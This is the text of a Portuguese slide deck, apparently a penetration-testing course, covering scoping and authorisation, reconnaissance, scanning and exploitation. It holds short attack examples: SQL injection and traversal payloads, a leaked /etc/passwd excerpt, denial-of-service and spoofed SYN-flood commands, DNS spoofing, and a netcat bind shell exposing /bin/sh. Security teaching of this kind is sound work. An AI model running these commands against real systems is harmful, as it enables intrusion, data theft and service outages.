    Pentest   Teste  de  Conformidade   Polí2ca  de  Segurança   Teste de Invasão Avaliação  de  Vulnerabilidades  
  • 11.
    l  Atividade técnicacontrolada l  Teste de segurança l  Simulação de ataques reais l  Tentativa de acesso não autorizado Teste de Invasão
  • 12.
    • Entender reaisriscos que vulnerabilidades específicas apresentam ao seu negócio • Testar de fato a segurança de sua rede ou sistema de informação • Determinar se investimentos atuais estão realmente detectando e prevenindo ataques • É mais barato ser proativo! Justificativa & Motivação
  • 13.
    • Milestone paraprojetos entrarem ou não em produção (“go live”) • Manter-se em conformidade com normas internacionais (ISO 27001, ISO 27002, HIPAA, PCI-DSS, GLBA, FDIC, FISMA,SOX, ...) • Lei de Wilson Justificativa & Motivação
  • 14.
    Um sistema étão seguro quanto sua parte mais fraca. Justificativa
  • 15.
  • 16.
  • 17.
    Metodologia Documentação Preocupação com oCliente Limitações Autorização documentada Simulação X Ataque Real
  • 18.
  • 19.
  • 20.
    Permissão: l  Por escrito l Assinada pelo responsável Antes de qualquer teste...
  • 21.
    Permissão: l  Acordo legal l Define os tipos de atividades l  Protege o(a) consultor(a) contra perdas e danos que possam resultar do teste Antes de qualquer teste...
  • 22.
    l  Documentação viva: l ...ou seu logger de terminal favorito J l  Atenção para programas gráficos! è  Screenshots è  ScreenCasts # script -a -f pentest.log Script started, file is pentest.log # Antes de digitar comandos...
  • 23.
  • 24.
    • Detalhes daInfraestrutura • Acordo de confidencialidade (NDA) • Equipamento e recursos necessários • Relatório de linha do tempo • Acesso a testes anteriores • Inspeção física Planejamento & Preparação
  • 25.
    Escopo: l  Objetivo/Propósito l  Alvos l Profundidade l  Exclusões Planejamento & Preparação
  • 26.
    Objetivo/Propósito l  O queo cliente pretende obter com o teste de invasão? l  Será que essa é a melhor escolha? l  Será que estamos no momento mais adequado? Planejamento & Preparação
  • 27.
    Alvos l  O quedefinirá o teste como bem-sucedido? l  Capture a bandeira l  Tudo que puder conquistar l  Violação de política Planejamento & Preparação
  • 28.
    Profundidade l  Até ondedevemos ir? l  Quais as condições de parada? l  “How much is too much?” Planejamento & Preparação
  • 29.
    Exclusões l  Sistemas/Estruturas quenão podem cair ou serem modificadas l  Parceiros/Acordos de Serviço l  Exclusão completa x parcial Planejamento & Preparação
  • 30.
    Perfil do atacante: l  Tipos de testes l  Caixa preta, branca ou cinza? Planejamento & Preparação
  • 31.
    Como classificar atacantes? A   B   C   Planejamento & Preparação
  • 32.
    Primeira Camada (A) l Programadores experientes l  Não buscam publicidade l  Dedicam boa parte de seu tempo ao estudo e atualização Planejamento & Preparação
  • 33.
    Segunda Camada (B) l Conhecimento equivalente ao de bons administradores de sistemas l  Mais abrangência, menos profundidade l  Contribuem regularmente em listas l  Brincam com novas ferramentas Planejamento & Preparação
  • 34.
    Terceira Camada (C) l Dependem de scripts e “pacotes” pré- prontos l  Experimentação irresponsável l  Conhecimento incompleto l  Buscam notoriedade Planejamento & Preparação
  • 35.
    Marco Zero: Ondevocê está? l  Ataques externos l  Ataques internos Planejamento & Preparação
  • 36.
    Qual perfil apresentamaior risco para o Cliente? l  Escopo l  Conhecimento l  Determinação Planejamento & Preparação
  • 37.
    I - Oque você sabe sobre o ambiente? l  Blind (caixa preta) l  Open (caixa branca) l  Hybrid (híbrido) Planejamento & Preparação
  • 38.
    II - Oque o ambiente sabe sobre você? l  Teste anunciado l  Teste não-anunciado Quem está sendo testado? Planejamento & Preparação
  • 39.
    Conhecimento do alvo sobre oataque Conhecimento do atacante sobre o alvo Planejamento & Preparação
  • 40.
    Tratamento de questõesespeciais: l  Sistema alvo caiu l  Dados sensíveis encontrados l  Quem contatar? Planejamento & Preparação
  • 41.
    Sistema alvo caiu l Como detectar? l  Como consertar? Planejamento & Preparação
  • 42.
    Dados sensíveis encontrados l Qual a definição de dados sensíveis? l  Privacidade Planejamento & Preparação
  • 43.
    Pontos de Contato è Nome è Cargo è Telefones è Outroscontatos (IM, email, etc) è Chave Pública è Horários Planejamento & Preparação
  • 44.
    Limitações de Tempo: l Restrições de Horário l  Duração do teste Planejamento & Preparação
  • 45.
    Restrições de Horário l Backups e outras tarefas periódicas l  Equipe de plantão (para questões especiais) l  Janelas autorizadas Planejamento & Preparação
  • 46.
    Duração do Teste l Datas fixas x Janelas de tempo l  Exclusões Planejamento & Preparação
  • 47.
    Vetores de Ataque l Classificação de vulnerabilidades (estimativa de impacto provável) l  Identificação de circuitos de ataques e cenários para exploração l  Caminho de menor resistência l  Árvores de ataques Planejamento & Preparação
  • 48.
    Árvores de Ataque l Ataques intrusivos x não intrusivos l  Orçamento, habilidade e acesso do atacante l  Probabilidade de sucesso de cada ataque l  Probabilidade de ocorrência de cada ataque l  Como organizar sua infraestrutura e gerenciar seu orçamento em segurança Planejamento & Preparação
  • 49.
  • 50.
    Documento final l  SumárioExecutivo l  Escopo do Projeto (e partes fora do escopo) l  Ferramentas (e exploits) utilizados l  Data e hora dos testes nos sistemas Estrutura do Relatório
  • 51.
    Documento final l  TODAsaída dos testes realizados l  Lista de todas as vulnerabilidades identificadas, incluindo recomendações para resolver as questões encontradas l  Prioridades e soluções recomendadas Estrutura do Relatório
  • 52.
  • 53.
    l  Engenharia Social l Trashing (Dumpster Diving) l  Whois l  Entradas DNS l  Buscas na Internet l  Cópia de Website l  FOCO é muito importante nessa fase Obtenção de Informações
  • 54.
    l  O modomais simples de se obter uma informação é pedindo por ela! l  “Peopleware” l  ES de tecnologia è  Cavalos de Troia è  Phishing l  ES de contato direto è  Pessoal è  Via telefone/videoconferência Engenharia Social Obtenção de Informações
  • 55.
    l  Conformidade è  “10000lemmings não podem estar errados” l  Lógica è  “Quanto mais queijo... menos queijo!” l  Necessidade è  “Pode me ajudar?” Engenharia Social – Sete tipos de persuasão Obtenção de Informações
  • 56.
    l  Autoridade è  “sabecom quem está falando?” l  Reciprocidade è  “quem quer rir...tem que fazer rir!” l  Similaridade è  “Espelho, espelho meu” l  Informacional è  “Como está o Wolfie? Ele está latindo” Obtenção de Informações Engenharia Social – Sete tipos de persuasão
  • 57.
    Engenharia Social Confiança nãoé algo que se dá, é algo que se conquista. l  Paciência l  Inspirar confiança (pertencer ao lugar) l  Engenharia Social Reversa Obtenção de Informações
  • 58.
    Engenharia Social l  Atençãocom a legislação! l  Carregue sempre uma cópia da autorização Obtenção de Informações
  • 59.
    Trashing l  Lixo corporativogeralmente expõe muita informação l  Classificação da informação e controles l  Armazenamento l  Compartilhamento l  Descarte Obtenção de Informações
  • 60.
  • 61.
    Whois l  Nomes l  Endereços l Contatos l  Servidores DNS $ whois dominio $ whois IP Obtenção de Informações
  • 62.
    Podemos confiar noWhois? l  Registros privados l  Veracidade das informações l  Descentralização de servidores Whois è  Dados genéricos x especializados è  Propagação de atualizações Obtenção de Informações
  • 63.
    l  Contatos técnicose administrativos l  Dados para cobrança l  Servidores de nome autoritativos Obtenção de Informações Whois – Informações Interessantes
  • 64.
    DNS Como funciona oDNS? (RFCs 1034/1035) Buscas recursivas entre servidores regionais e top-level domains (ccTLD/gTLD) Obtenção de Informações
  • 65.
    Entradas DNS l  IP(A/AAAA) l  Nome Canônico (CNAME) l  Correio Eletrônico (MX) l  Start of Authority (SOA) l  Name Servers (NS) l  Texto arbitrário (TXT) l  Outras (HINFO, SRV, PTR, ...) Obtenção de Informações
  • 66.
    Colhendo Entradas DNS Estrutura $dig @servidor_dns maquina (-x IP) tipo Rastreando caminho $ dig +trace www.site.com.br Transferência de Zona $ dig @servidor_dns dominio axfr Obtenção de Informações
  • 67.
    Colhendo Entradas DNS Transferênciade Zona no com NSLOOKUP C:> nslookup > server [servidor_DNS] > set type=any > ls -d [dominio] Obtenção de Informações
  • 68.
    Buscas na Internet(google hacking) l  Crawlers não sabem o que deve ser privado (robots.txt é apenas uma recomendação) l  Cache pode continuar expondo informação Obtenção de Informações
  • 69.
    Buscas na Internet(google hacking) l  Identificação de servidores l  Servidores negligenciados l  Listagem de diretórios l  Senhas l  Bancos de dados l  Relatórios de Segurança l  Informações sensíveis Obtenção de Informações
  • 70.
    Buscas na Internet(google hacking) l  Curingas: inclusão/exclusão (+ -) asterisco (*) sinônimos (~) l  Restrições: site: filetype: (ou ext:) link: Obtenção de Informações
  • 71.
    Buscas na Internet(google hacking) l  Operadores especiais (com equivalentes “all”): intitle: inurl: intext: inanchor: cache: Obtenção de Informações
  • 72.
    Buscas na Internet(google hacking) l  Listas de discussão l  Arquivos compartilhados l  Perfis em redes sociais l  Blogs e/ou páginas pessoais de colaboradores Obtenção de Informações
  • 73.
    Buscas na Internet(google hacking) l  Como retirar suas informações do google? l  Controlando os “crawlers” l  noindex meta tag l  robots.txt l  Solicitando ao Google l  Google Webmaster tools Obtenção de Informações
  • 74.
    Buscas na Internet(google hacking) l  SiteDigger l  Explora o cache do Google atrás de: l  Vulnerabilidades l  Mensagens de erro l  Configurações inseguras l  Informações sensíveis l  Etc Obtenção de Informações
  • 75.
    Buscas na Internet(google hacking) l  Google Hacking Database - GHDB l  Buscas que retornam resultados interessantes l  Organizadas por categorias Obtenção de Informações
  • 77.
    Cópia de Website l Análise offline l  Experimentação passiva l  Mirroring para phishing Obtenção de Informações
  • 78.
    Cópia de Website l Funcionalidade spider de alguns proxies l  Ferramenta HTTrack / WEBHTTrack Obtenção de Informações
  • 79.
    Cópia de Website- HTTrack httrack www.site.com.br --depth=N --robots=0 --keep-alive --tolerant --user-agent “Googlebot/2.1” Outros UAs interessantes: Opera 9.21: “Opera/9.21 (Windows NT 5.1; U; en” Internet Explorer 7.0: “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” Firefox 2.0.11: “Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Obtenção de Informações
  • 80.
    Obtenção de Informações Cópiade Website - WEBHTTrack
  • 81.
    Robô local XRobô de Internet l  buscas são restritas a links e listagens de diretório è  um robô local é mais confiável. è  um robô de Internet pode ter mais links. Obtenção de Informações
  • 82.
  • 83.
    l  Wardriving l  Mapeamentode Redes l  Port Scan l  Detecção passiva de SO Varreduras l  Mapeando Firewalls l  Vulnerabilidades l  Web l  NULL Sessions
  • 84.
    Wardriving Varreduras Sniffing e quebrade redes sem fio (Wireless) l  Kismet l  Suite “aircrack-ng”: è  airodump è  aireplay è  aircrack
  • 85.
    Mapeamento de Redes l Entender a topologia da rede l  Mapear dispositivos l  Redes internas, Gateways, DMZs ... Varreduras
  • 86.
    Busca por hostsvivos •  Varreduras por portas e vulnerabilidades podem demorar muito! •  Se o alcance da varredura for muito grande, limite-a a apenas hosts vivos Varreduras
  • 87.
    Detecção de Serviços l Varreduras Algumas portas são reservadas para determinados serviços $ cat /etc/services | grep PORTA l  Mas na prática podemos usar qualquer uma! Varreduras
  • 88.
    Detecção de SistemasOperacionais l  RFC's não implementados na íntegra l  Padrões de comportamento em intercomunicação Varreduras
  • 89.
    Port Scan l  PingSweeping l  TCP 3-Way Handshake e outras “flags” l  Portas oficiais para determinados serviços Varreduras
  • 90.
    Port Scan -Nmap l  Diversos tipos de varreduras l  Possui interface gráfica (Zenmap) l  Disponível para Unix e Windows Varreduras
  • 91.
    Port Scan -Nmap Varreduras # nmap -sS -sV -f -PN -O -v -v -g53 -T1 172.16.1.254 Varredura TCP SYN (Half-Open) Envia pacote SYN, como se estivesse tentando abrir uma conexão TCP. Se o alvo retornar SYN|ACK, marca a porta como aberta e envia RST. Senão (alvo retornou RST), porta é marcada como fechada. Alternativas: -sT (utiliza a chamada de sistema “connect()”. Fácil detecção) -sP (envia pedidos de ICMP echo (ping) para as portas) Varreduras subreptícias (RFC 793): -sF (envia pacotes FIN simples, e espera RST de portas fechadas) -sX (idem, mas marca FIN, URG e PUSH (Xmas Tree)) -sN (idem, mas não ativa nenhuma flag (Null scan))
  • 92.
    Port Scan -Nmap -sU determina portas UDPs abertas no alvo -sI [host[:porta]] Idlescan, faz varredura “cega”, onde nenhum pacote vem da sua máquina. -b [ftp] usa servidor ftp como “proxy” (RFC 959) -oN [arq] gera registro (log) da varredura --resume [arq] permite resumir varredura, a partir de arquivo de log gerado --exclude [host,host,...] não varre hosts especificados -p [portas] Determina quais portas olhar (20-30,139,60000-) -D [host, ME, ...] Finge que outros hosts também estão fazendo uma varredura Varreduras
  • 93.
    Varreduras Port Scan -xprobe2 l  Fingerprinting de Sistema Operacional l  Fuzzy Signature Matching l  Palpites probabilísticos l  Estrutura modular (-L para lista de módulos)
  • 94.
    Varreduras Port Scan -netstat l  Verificação local l  Windows: netstat -na netstat -nao netstat -nab l  Unix: netstat -tupan
  • 95.
    Varredura TCP connect() SYN   SYN/ACK ACK   Varreduras
  • 96.
    Varredura TCP SYN(half-open) SYN   SYN/ACK SYN   RST   Varreduras
  • 97.
    Varredura TCP Null *cri**cri* *cri* *cri* RST   Varreduras
  • 98.
    Varredura TCP FIN FIN   FIN   RST   Varreduras
  • 99.
    Varredura TCP Xmas(Árvore de Natal) FIN/PSH/URG FIN/PSH/URG RST   Varreduras
  • 100.
    Varredura TCP ACK ACK   ACK   RST   Varreduras
  • 101.
    Varredura de JanelaTCP ACK   ACK   RST   Varreduras
  • 102.
  • 103.
    Varredura TCP Ociosa(Idlescan) Passo 1: encontre um bode expiatório :-) SYN/ACK RST (id+1) Varreduras
  • 104.
    Varredura TCP Ociosa(Idlescan) SYN (IP falso) RST   SYN/ACK SYN/ACK RST (id+2) Varreduras
  • 105.
    SYN (IP falso)RST   SYN/ACK RST (id+1) Varreduras Varredura TCP Ociosa (Idlescan)
  • 106.
    Varredura FTP Bounce Envieo arquivo para ALVO, porta X Oi ALVO! segue arquivo Varreduras
  • 107.
    Varredura UDP *cri* *cri* *cri**cri* ICMP Port Unreachable Varreduras
  • 108.
    Detecção Passiva deSO Varreduras p0f l  Determina SO e outras configurações l  Analisa estrutura de pacotes TCP/IP l  Fingerprinting completamente passivo (não gera tráfego malicioso)
  • 109.
    Detecção Passiva deSO Varreduras p0f Completamente passivo? l  Alvo precisa conectar-se (ou ser conectado) em sua rede, de forma espontânea ou induzida: è  devolvendo email inválido è  fazendo lookups è  aceitando (ou recusando!) web, ftp, ssh, etc è  imagem/html externo em email
  • 110.
    l  Identificação deServiços Vulneráveis l  Senhas padrão l  Correlacionamento de vulnerabilidades: identificando falsos positivos/negativos l  Enumeração de vulnerabilidades encontradas Varreduras Vulnerabilidades
  • 111.
    l  Catálogo dedispositivos autorizados/não autorizados l  Catálogo de softwares autorizados/não autorizados l  Configuração segura para hardware e software l  Análise de vulnerabilidades e correção das mesmas l  Proteção contra malware l  Segurança de aplicações l  Controle de dispositivos sem fio l  Capacidade de recuperação de dados l  Capacidade para avaliação de segurança e treinamento apropriado l  Configurações seguras de dispositivos de rede Varreduras Vulnerabilidades - SANS/FBI Top 20
  • 112.
    l  Limitação econtrole de portas, protocolos e serviços l  Uso controlado de privilégios administrativos l  Proteção de perímetro l  Proteção, monitoramento e análise de logs de segurança l  Controle de acesso l  Monitoramento e controle de conta l  Prevenção de perda de dados l  Capacidade de resposta a incidentes l  Engenharia de Segurança de Rede l  Testes de invasão e exercícios de resposta a incidentes Varreduras Vulnerabilidades - SANS/FBI Top 20
  • 113.
    l  Varredor devulnerabilidades #1 l  Grande variedade de plugins l  Atualizações constantes l  Desde a versão 3 não é mais GPL Varreduras Vulnerabilidades - Nessus
  • 114.
    # nessus-fetch --registerCÓDIGO_DE_ATIVAÇÃO # nessus-mkcert # nessus-adduser Regras (Política de uso) l  accept (ou deny) IP/MÁSCARA (ou client_ip) l  default (accept ou deny) Varreduras Vulnerabilidades – Nessus (Servidor)
  • 115.
    # nessus-fetch --plugins #tar zxf all-2.0.tar.gz DIRETORIO_DE_PLUGINS # nessus-update-plugins # nessus-fetch --check # nessusd start Varreduras Vulnerabilidades – Nessus (Servidor)
  • 116.
    l  SARA l  OpenVAS l MBSA l  Core Impact l  GFI LANguard l  QualysGuard l  SAINT l  Retina Varreduras Vulnerabilidades
  • 117.
    l  Localização dearquivos/diretórios/CGI l  Identificação de servidores l  Identificação de vulnerabilidades l  Recursos contra IDSs l  SSL e Proxy ü  Nikto ü  Wikto ü  Burp Suite ü  HP WebInspect ü  Acunetix WVS Varreduras Web
  • 118.
    # nikto.pl -hALVO -p PORTA -useproxy -update -Cgidirs “/dir1/ /dir2/ /dir3/ ...” -evasion TIPO -Format (csv,html,txt,xml) -output ARQUIVO -mutate TIPO -Tuning TIPO Opções extras (“-Help” para lista detalhada) Varreduras Web - Nikto
  • 119.
    NULL Sessions l  UsuárioSYSTEM com privilégios ilimitados l  Não é capaz de fazer “log on” l  Acessa informações em outras máquinas através de NULL SESSIONS C:> net use [alvo]ipc$ “” /u:”” C:> net view [alvo] Varreduras
  • 120.
    NULL Sessions -Winfingerprint • Possui suporte a SNMP l  Varredura de portas através de TCP e UDP l  Não faz ataques por força bruta Varreduras
  • 121.
  • 122.
    Invasão l  Sniffing l  Sequestrode Sessão l  DNS Cache Poisoning l  Buffer Overflow l  Quebra de Senha l  Injeção de SQL l  Cross-site Script (XSS) l  Directory Traversal l  Proxies l  Negação de Serviço
  • 123.
    Sniffing l  Quem estáfalando com quem l  Modo Promíscuo l  Hubs X Switchs Invasão
  • 124.
    Invasão Sniffing – Tcpdump l Ferramenta tradicional de captura de tráfego l  Aceita filtros por expressões l  Biblioteca padrão para captura de tráfego: libpcap
  • 125.
    Invasão Sniffing - Wireshark l Mais completo dos analisadores de tráfego l  Possibilita remontar uma sessão l  Estrutura em árvore l  Possibilidade de criação de filtros
  • 126.
    Sniffing - Dsniff l Conjunto de ferramentas para sniffing dsniff arpspoof macof tcpkill tcpnice msgsnarf filesnarf mailsnarf urlsnarf webspy dnsspoof webmitm sshmitm Invasão
  • 127.
    Sequestro de Sessão l Basicamente: sniffing + spoofing l  Somente para protocolos orientados a conexão l  Comprometimento de “end-points” Invasão
  • 128.
    Sequestro de Sessão- Ettercap l  Sniffing passivo ou ativo l  Interface Gráfica l  Coleta senhas em protocolos como: Telnet, FTP, POP, HTTP, SMB, dentre outros. Invasão
  • 129.
    Invasão ettercap [OPCOES] ALVO1ALVO2 (ALVO == MAC/IPs/Portas) -T (texto) [-q] ou -C (curses) ou -G (gtk) -P nome_do_plugin (“-P list” exibe todos) -R (sniffing reverso em relação aos alvos) --mitm (ou -M) arp:[remote|oneway] icmp:MAC/IP (do gateway real) dhcp:pool_de_IPs/netmask/dns port:[remote|tree] Ettercap
  • 130.
    Invasão Sequestro de DNS l Falsificação “perfeita” de sites l  Ataques de Negação de Serviços (DoS) l  Ataques MITM l  Pode ser dividido em: è  Ataques a servidores de DNS è  Ataques a roteadores è  Ataques a hosts l  Utilizado pelo “Projeto Escudo Dourado”
  • 131.
    Invasão Sequestro de DNS l Ataques a servidores de DNS l  Open-Resolvers l  Reverse Domain Hijacking (explorando ambientes de “tolerância zero”) l  DNS Cache Poisoning è  adicionando informações “extras” às requisições para o DNS comprometido è  respondendo antes do servidor real!
  • 132.
    Invasão Sequestro de DNS l Ataques a roteadores l  A maioria dos roteadores modernos passam informações de DNS dinamicamente para clientes que entram na rede. l  Acesso às configurações de roteadores pode propagar servidores DNS maliciosos por toda a rede l  Modificações no firmware do roteador podem dificultar ainda mais a detecção
  • 133.
    Invasão Sequestro de DNS l Ataques a arquivos hosts l  *NIX: /etc/ l  Win NT/2K/2K3/XP/Vista: determinado por “HKEY_LOCAL_MACHINESYSTEMCurrentControlSet ServicesTcpipParametersDataBasePath”; normalmente em %SystemRoot%System32driversetc l  Win 9x: %WinDir% l  Mac OS X: /private/etc l  Symbian: C:systemdata (1a e 2a edições) C:private10000882 (3a edição)
  • 134.
    Invasão Sequestro de DNS #echo “127.0.0.1 *.alvo.com.br” > hosts.txt # dnsspoof -i eth0 -f hosts.txt # ettercap -Tq -M arp // // -P dns_spoof (arquivo “/usr/share/ettercap/etter.dns”)
  • 135.
    Buffer Overflow l  Nãoverificação de limites extremos l  Essência dos exploits de binários l  Pré-datam a própria linguagem C (1972) l  Stack, Heap, Integer, ... Invasão
  • 136.
    Invasão Formas de abusarde sistemas exploram: l  Vulnerabilidades em software l  Configurações fracas l  Problemas intrínsecos à protocolos l  Senhas fracas l  Pessoas & Processos
  • 137.
    Invasão l  Encontrar código/ferramenta/atividadepara PoC l  Desenvolver, caso necessário (e definido no escopo): - Metasploit - SecurityForest Exploitation Framework - Attack Tool Kit (ATK) - CANVAS - Core Impact - SAINTexploit
  • 138.
    Invasão Metasploit Framework l  Plataformapara desenvolvimento de exploits l  Flexível e portátil l  Fácil de usar l  Extremamente poderosa l  v2 e v3
  • 139.
    Invasão Metasploit Framework: Console #msfconsole =[ metasploit v4.8.0-2013112001 [core:4.8 api:1.0] + -- --=[ 1220 exploits - 667 auxiliary - 191 post + -- --=[ 324 payloads - 30 encoders - 8 nops msf _ _ / / __ _ __ /_/ __ | | / | _____ ___ _____ | | / _ | | /| | | ___ |- -| / / __ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / - __ | | | | __/| | | |_ |/ |____/ ___/ / ___/ / __| |_ ___
  • 140.
    Invasão Metasploit Framework: Console msfsearch TIPO EXPRESSAO msf info MODULO msf use MODULO msf exploit () show options RHOST, RPORT, LHOST, LPORT, TARGET, ... msf exploit () set VAR VALOR msf exploit () exploit
  • 141.
  • 142.
  • 143.
    Invasão Metasploit Framework l  Testarem ambiente controlado l  Usar contra o(s) alvo(s) l  Confirmar/refutar vulnerabilidade em questão l  Documentar resultados
  • 144.
    Invasão Quebra online desenhas l  Roubo de senhas è  sniffing è  MITM è  keyloggers è  engenharia social l  Força bruta remota (THC-Hydra) è  senhas padrão è  senhas comuns
  • 145.
    Invasão Quebra offline desenhas l  Roubo de senhas è  %SystemRoot%System32configSAM è  /etc/shadow è  escutando (redes, pessoas) l  samdump/pwdump6/fgdump l  John The Ripper l  Cain and Abel l  RainbowCrack
  • 146.
    l  Exploração deBancos de Dados SQL sem prévia validação (correta) do pedido (query) l  Exposição, manipulação e remoção de dados sensíveis l  Execução de comandos no sistema l  Relativamente simples de ser explorado (analisando mensagens de erro do BD) Injeção de SQL Invasão
  • 147.
    SELECT id FROMusuarios WHERE nome = '$nome' AND senha = '$senha' ; form method=post action=http://SITE/login.php input name=nome type=text id=nome input name=senha type=password id=senha /form Client-Side: Server-Side: Injeção de SQL Invasão
  • 148.
    ' OR 'a'='a SELECTid FROM usuarios WHERE nome = '$nome' AND senha = '' OR 'a'='a' ; Client-Side: O Exploit! Server-Side: Injeção de SQL Invasão
  • 149.
  • 150.
    l  Alguns sitesnão enviam mensagens de erro do Banco de Dados, dificultando ataques l  Ataque às cegas explora resultados de sucesso/falha com injeções AND para mapear o BD ü  Absinthe http://SITE/noticias.jsp?id=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) 110 Injeção de SQL: BLIND Invasão
  • 151.
    l  Tipo 0:Execução de código (DOM). Requer engenharia social l  Tipo 1: Não persistente (Roubo de informação). Requer engenharia social. l  Tipo 2: Persistente (Injeção de código). Não requer engenharia social. http://SITE/search.php?q=%3Cscript%3Ealert %28%91Aloha%20%92%29%3C%2Fscript%3E Cross-site Scripting (XSS) Invasão
  • 152.
    l  Mapeamento daárvore do sistema de arquivos l  Acesso a arquivos específicos l  Bug do Unicode em versões antigas do IIS GET http://ALVO/scripts/..%255c../winnt /system32/cmd.exe?/c+dir+c: Directory Traversal Invasão
  • 153.
    ?php $template = 'blue.php'; if( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( /home/users/phpguru/templates/ . $template ); ? l  Request criada para explorar o código: GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd l  Resposta do servidor: HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1::/:/bin/bash daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100::/home/phpguru/:/bin/csh Directory Traversal Invasão
  • 154.
    l  Interceptação demensagens HTTP e HTTPS l  Manipulação de cookies e formulários l  Scanning, e muito mais ü  PAROS ü  OWASP WebScarab ü  Burp Suite Invasão Proxies
  • 155.
    l  Desempenho extremamentebaixo l  Indisponibilidade completa l  Podem ser parte de ataque elaborado, geralmente envolvendo spoofing Invasão Negação de Serviço
  • 156.
    l  Consumo derecursos computacionais como banda, espaço em disco ou tempo de CPU l  Quebra de arquivos de configuração l  Quebra de informação de estados l  Quebra de componentes físicos l  Obstrução de canais de comunicação Invasão Negação de Serviço
  • 157.
    l  Exploram errosem aplicações... l  ...ou entopem algum recurso (CPU, Memória, disco, etc) $ dd if=/dev/zero of=/var/spool/mail/MEU_USUARIO $ perl -e 'while(1) { fork(); open $fh, “/proc/meminfo”; open $hf, “/tmp/bla”; }' Invasão Negação de Serviço
  • 158.
    l  Ataques Distribuídos(DDoS) l  Ataques Distribuídos Refletidos (DRDoS) l  Ataques de Amplificação l  Ataques Permanentes (PDoS) Invasão Negação de Serviço
  • 159.
    l  Smurf Attack è envia pedidos ICMP para endereços de broadcast com IP da vítima como origem l  Ping flood è  envia mais pedidos ICMP echo do que a vítima pode tratar l  SYN flood è  abre mais conexões TCP do que a vítima pode traar l  Teardrop/Nuke/Ping of Death Invasão Negação de Serviço
  • 160.
    # tcpnice -ieth0 EXPRESSAO_FILTRO # tcpkill -i eth0 -[1..9] EXPRESSAO_FILTRO # hping3 --flood --interface eth0 --spoof IP_ORIGEM (ou --rand_source) -S -p PORTA_ALVO IP_ALVO Invasão Negação de Serviço
  • 161.
  • 162.
    l  Artefatos Maliciosos l Backdoors l  Cavalos de Troia l  Wrappers / Packers l  Rootkits Mantendo Acesso
  • 163.
    Mantendo Acesso $ nc-u -l -p 53 -e /bin/sh (ou cmd.exe) # nc -u IP_ALVO 53
  • 164.
  • 165.
    l  Escondendo Arquivos l Editando Logs l  Escondendo Tráfego l  Esteganografia Cobrindo Rastros
  • 166.
    Cobrindo Rastros Escondendo Arquivos l /usr/bin/ [tab][tab] Display all 1986 possibilities? (y or n) l  Processos comuns (ps!) l  /dev/, /tmp
  • 167.
    Segurança Física l  Pontosde rede l  Informações expostas l  Conversas de funcionários l  Janelas, fechaduras e portas de acesso l  Pontos de entrada l  Guardas/Recepcionistas l  Lixo
  • 168.
  • 169.
    Muito Obrigado! rafael@clavis.com.br Rafael SoaresFerreira Clavis Segurança da Informação @rafaelsferreira